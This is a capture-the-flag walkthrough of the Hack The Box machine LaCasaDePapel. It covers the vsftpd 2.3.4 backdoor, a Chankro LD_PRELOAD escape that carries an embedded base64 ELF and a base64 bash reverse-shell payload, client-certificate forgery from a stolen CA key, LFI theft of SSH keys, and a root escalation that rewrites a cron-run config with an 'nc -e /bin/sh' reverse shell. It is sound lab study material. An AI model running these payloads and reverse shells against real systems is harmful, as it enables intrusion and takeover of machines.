LaCasaDePapel: Hack The Box Walkthrough

TL;DR;

LaCasaDePapel is the retired vulnerable VM from the Hackthebox, while doing the initial enumeration we get to know that the machine is running a vulnerable to VFTPD 2.3.4 which had a malicious backdoor running on port 6200 with that we can retrieve sensitive information like the certificate authority key(ca.key), using Openssl we generate client certificate to access HTTPS server, there we find a LFI and download ssh private keys and then we can abuse cronjob to get the root.

This is really fun box to do, but it is very unstable which makes things horrible.

Enumeration and recon.

So Let's get started with the as usual port scan. First we scan open ports using Masscan, because its pretty fast and then we use Nmap scan on open ports.

$ sudo masscan -e tun0 -p1-65535,U1-65535 10.10.10.131 --rate=1000 | tee 
masscan.txt

Discovered open port 80/tcp on 10.10.10.131
Discovered open port 22/tcp on 10.10.10.131
Discovered open port 443/tcp on 10.10.10.131
Discovered open port 21/tcp on 10.10.10.131

So lets do the nmap on the open ports which gives more info about the running services

$ nmap -n -v -Pn -p80,22,443,21 -A --reason -oN nmap.txt 10.10.10.131
Nmap scan report for 10.10.10.131
Host is up, received user-set (0.37s latency).
PORT    STATE SERVICE  REASON  VERSION
21/tcp  open  ftp      syn-ack vsftpd 2.3.4
22/tcp  open  ssh      syn-ack OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey: 
|   2048 03:e1:c2:c9:79:1c:a6:6b:51:34:8d:7a:c3:c7:c8:50 (RSA)
|_  256 41:e4:95:a3:39:0b:25:f9:da:de:be:6a:dc:59:48:6d (ECDSA)
80/tcp  open  http     syn-ack Node.js (Express middleware)
|_http-favicon: Unknown favicon MD5: 621D76BDE56526A10B529BF2BC0776CA
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: La Casa De Papel
443/tcp open  ssl/http syn-ack Node.js Express framework
| http-auth: 
| HTTP/1.1 401 Unauthorized
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-favicon: Unknown favicon MD5: 621D76BDE56526A10B529BF2BC0776CA
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-title: La Casa De Papel
| ssl-cert: Subject: commonName=lacasadepapel.htb/organizationName=La Casa De Papel
| Issuer: commonName=lacasadepapel.htb/organizationName=La Casa De Papel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-01-27T08:35:30
| Not valid after:  2029-01-24T08:35:30
| MD5:   6ea4 933a a347 ce50 8c40 5f9b 1ea8 8e9a
|_SHA-1: 8c47 7f3e 53d8 e76b 4cdf ecca adb6 0551 b1b6 38d4
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg: 
|   http/1.1
|_  http/1.0
Service Info: OS: Unix

Note: While nmap scan is running I found that we cannot access the service on https unless and untill we have the client certificate.



I didn't find any fishy things on port 80 and 443, so I checked the nmap report and found that the machine has vulnerable vtfpd running, so the exploit for this vulnerability is very easy we just have to give the username ending with :) and any password, then it pops the shell at port 6200.

Exploiting VFTPD 2.3.4 and popping the reverse shell.


$telnet 10.10.10.131 21
Trying 10.10.10.131...
Connected to 10.10.10.131.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
USER user:)
331 Please specify the password.
PASS pass


Let's connect to the backdoor.


telnet 10.10.10.131 6200
Trying 10.10.10.131...
Connected to 10.10.10.131.
Escape character is '^]'.
Psy Shell v0.9.9 (PHP 7.2.10 — cli) by Justin Hileman
>>echo 1
1
>>

Wait, what this is not the shell we are expecting, so we got the REPL php Psy Shell, and I tried to pop the reverse shell, but all the dangerous functions are disabled but mail and putenv is there :), so we can execute commands. Lets pop a reverse shell using this tool Chankro.

>>> $hook = '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BwAAAAwAAAAAAAAAAAAAAEiD7AhIiwW9CCAASIXAdAL/0EiDxAjDAP810gggAP8l1AggAA8fQAD/JdIIIABoAAAAAOng/////yXKCCAAaAEAAADp0P////8lwgggAGgCAAAA6cD/////JboIIABoAwAAAOmw/////yWyCCAAaAQAAADpoP////8lqgggAGgFAAAA6ZD/////JaIIIABoBgAAAOmA/////yWaCCAAaAcAAADpcP////8lkgggAGgIAAAA6WD/////JSIIIABmkAAAAAAAAAAASI09gQggAEiNBYEIIABVSCn4SInlSIP4DnYVSIsF1gcgAEiFwHQJXf/gZg8fRAAAXcMPH0AAZi4PH4QAAAAAAEiNPUEIIABIjTU6CCAAVUgp/kiJ5UjB/gNIifBIweg/SAHGSNH+dBhIiwWhByAASIXAdAxd/+BmDx+EAAAAAABdww8fQABmLg8fhAAAAAAAgD3xByAAAHUnSIM9dwcgAABVSInldAxIiz3SByAA6D3////oSP///13GBcgHIAAB88MPH0AAZi4PH4QAAAAAAEiNPVkFIABIgz8AdQvpXv///2YPH0QAAEiLBRkHIABIhcB06VVIieX/0F3pQP///1VIieVIjT16AAAA6FD+//++/wEAAEiJx+iT/v//SI09YQAAAOg3/v//SInH6E/+//+QXcNVSInlvgEAAAC/AQAAAOhZ/v//6JT+//+FwHQKvwAAAADodv7//5Bdw1VIieVIjT0lAAAA6FP+///o/v3//+gZ/v//kF3DAABIg+wISIPECMNDSEFOS1JPAExEX1BSRUxPQUQAARsDOzQAAAAFAAAAuP3//1AAAABY/v//eAAAAGj///+QAAAAnP///7AAAADF////0AAAAAAAAAAUAAAAAAAAAAF6UgABeBABGwwHCJABAAAkAAAAHAAAAGD9//+gAAAAAA4QRg4YSg8LdwiAAD8aOyozJCIAAAAAFAAAAEQAAADY/f//CAAAAAAAAAAAAAAAHAAAAFwAAADQ/v//NAAAAABBDhCGAkMNBm8MBwgAAAAcAAAAfAAAAOT+//8pAAAAAEEOEIYCQw0GZAwHCAAAABwAAACcAAAA7f7//x0AAAAAQQ4QhgJDDQZYDAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsAgAAAAAAAAAAAAAAAAAAHAIAAAAAAAAAAAAAAAAAAABAAAAAAAAALsAAAAAAAAADAAAAAAAAAAYBwAAAAAAAA0AAAAAAAAAXAkAAAAAAAAZAAAAAAAAAPgNIAAAAAAAGwAAAAAAAAAQAAAAAAAAABoAAAAAAAAACA4gAAAAAAAcAAAAAAAAAAgAAAAAAAAA9f7/bwAAAADwAQAAAAAAAAUAAAAAAAAAMAQAAAA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=> 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>>> $meterpreter = 'IyEvYmluL2Jhc2gKYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS43NC85MDkwIDA+JjEK';
=> "IyEvYmluL2Jhc2gKYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS43NC85MDkwIDA+JjEK"
>>> file_put_contents('./chankro.so', base64_decode($hook));
=> 8504
>>> file_put_contents('./acpid.socket', base64_decode($meterpreter));
=> 54
>>> putenv('CHANKRO=./acpid.socket');
=> true
>>> putenv('LD_PRELOAD=./chankro.so');
=> true
>>> mail('a','a','a','a');
=> true


There it is we got the shell and lets enumerate


bash-4.4$ python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
bash-4.4$ ls
ls
acpid.socket  chankro.so    server.js
bash-4.4$ cd ../
cd ../
bash-4.4$ ls
ls
berlin     dali       nairobi    oslo       professor


User flag is in berlin home directory, we cant access that. I got ca.key in nairobi user, so lets connect the dots we need client certificate for 443 port, lets create a client certificate and access the https service.

Creating client certificate using openssl


$ openssl genrsa -out client.key 4096
$ sudo openssl genrsa -out client.key 4096
$ sudo openssl req -new -key client.key -out client.req
$ openssl x509 -req -in client.req -CA lacasadepapel.htb -CAkey ca.key -set_serial 101 -extensions client -days 365 -outform PEM -out client.cer
$ sudo openssl x509 -req -in client.req -CA lacasadepapel.htb -CAkey ca.key -set_serial 101 -extensions client -days 365 -outform PEM -out client.cer
$ openssl pkcs12 -export -inkey client.key -in client.cer -out client.p12
$ sudo openssl pkcs12 -export -inkey client.key -in client.cer -out client.p12

Here we provide ca.key which we retrieved from the reverse shell and lacasadepapel.htb which I exported from the chrome.

Now we just have to import client.p12 to the browser to access 443.



Exploiting LFI and Downloading SSH Keys

From here, everything is pretty easy I found a LFI at https://lacasadepapel.htb/file/{base64 of the file} this endpoint through that we can download ssh keys.


Now we got the user.txt its time for root.

Privilege Escalation 

Using the private key I did trail and error on all the users, then I got the shell for user professor.

While enumerating using ps aux I found that node is running memcahed.js, and found a cronjob which runs memcached.ini config file every minute with the help of pspy. Now our task is to modify the memcached.ini and pop the reverse shell. But we don't have access to modify but we can delete/move because of the suid bit for professor. I deleted the memcached.ini and created mine with nc reverse shell.



$ ssh professor@10.10.10.131 -i berlin_private

 _             ____                  ____         ____                  _
| |    __ _   / ___|__ _ ___  __ _  |  _ \  ___  |  _ \ __ _ _ __   ___| |
| |   / _` | | |   / _` / __|/ _` | | | | |/ _ \ | |_) / _` | '_ \ / _ \ |
| |__| (_| | | |__| (_| \__ \ (_| | | |_| |  __/ |  __/ (_| | |_) |  __/ |
|_____\__,_|  \____\__,_|___/\__,_| |____/ \___| |_|   \__,_| .__/ \___|_|
                                                            |_|

lacasadepapel [~]$ ls
memcached.ini     memcached.inibkp  memcached.js      node_modules
lacasadepapel [~]$ cat memcached.ini
[program:memcached]
command = sudo -u nobody /usr/bin/node /home/professor/memcached.js
lacasadepapel [~]$ rm memcached.ini && touch memcached.ini
lacasadepapel [~]$ vi memcached.ini
lacasadepapel [~]$ cat memcached.ini
[program:memcached]
command = sudo nc 10.10.X.X 1337 -e /bin/sh


That's it got the root.txt

nc -lnvp 1337
Listening on [0.0.0.0] (family 0, port 1337)
1Connection from [10.10.10.131] port 1337 [tcp/*] accepted (family 2, sport 37115)
ls

ls
bin
boot
dev
etc
home
lib
lost+found
media
mnt
opt
proc
root
run
sbin
srv
swap
sys
tmp
usr
var
cd /root
ls
root.txt


Thank you.

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